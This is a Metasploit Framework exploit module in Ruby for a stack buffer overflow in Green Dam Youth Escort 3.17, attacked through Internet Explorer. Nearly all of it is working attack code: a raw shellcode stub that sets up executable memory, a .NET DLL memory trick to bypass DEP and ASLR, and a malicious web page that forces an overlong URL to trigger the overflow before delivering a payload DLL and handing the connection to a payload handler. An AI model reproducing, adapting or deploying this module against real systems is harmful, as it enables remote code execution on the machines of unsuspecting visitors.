This Metasploit module exploits a stack-based buffer overflow in Green Dam Youth Escort version 3.17 in the way it handles overly long URLs. By setting an overly long URL, an attacker can overrun a buffer and execute arbitrary code. This module uses the .NET DLL memory technique by Alexander Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
d0b4aaedaa43dfb14fc35f1443b4c0e80d58b6bd44a192f96fef4cee92df1ad8
##
# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
# - Internet Explorer 6, Windows XP SP2
# - Internet Explorer 7, Windows XP SP3
# - Internet Explorer 7, Windows Vista SP1
#
# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Green Dam URL Processing Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Green Dam Youth Escort
version 3.17 in the way it handles overly long URLs.
By setting an overly long URL, an attacker can overrun a buffer and execute
arbitrary code. This module uses the .NET DLL memory technique by Alexander
Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
'Version' => '$Revision:$',
'References' =>
[
['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System
['URL', 'http://www.milw0rm.com/exploits/8938'], # Original exploit by seer[N.N.U]
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory technique
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
# Temporary stub virtualalloc() + memcpy() payload to RWX page
'PrependEncoder' =>
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
],
'DisclosureDate' => 'Jun 11 2009',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
ibase = 0x24240000
vaddr = ibase + 0x2065
if (request.uri.match(/\.dll$/i))
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
return if ((p = regenerate_payload(cli)) == nil)
# First entry points to the table of pointers
vtable = [ vaddr + 4 ].pack("V")
cbase = ibase + 0x2065 + (256 * 4)
# Build a function table
255.times { vtable << [cbase].pack("V") }
# Append the shellcode
vtable << p.encoded
send_response(
cli,
Rex::Text.to_dotnetmem(ibase, vtable),
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
return
end
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
j_function = rand_text_alpha(rand(100)+1)
j_url = rand_text_alpha(rand(100)+1)
j_counter = rand_text_alpha(rand(30)+2)
html = %Q|<html>
<head>
<script language="javascript">
function #{j_function}() {
var #{j_url}='';
for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
#{j_url}+='$';
window.location=#{j_url}+'.html';
}
</script>
</head>
<body onload="#{j_function}()">
<object classid="#{get_resource + "/generic-" + Time.now.to_i.to_s + ".dll"}#GenericControl">
<object>
</body>
</html>
|
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end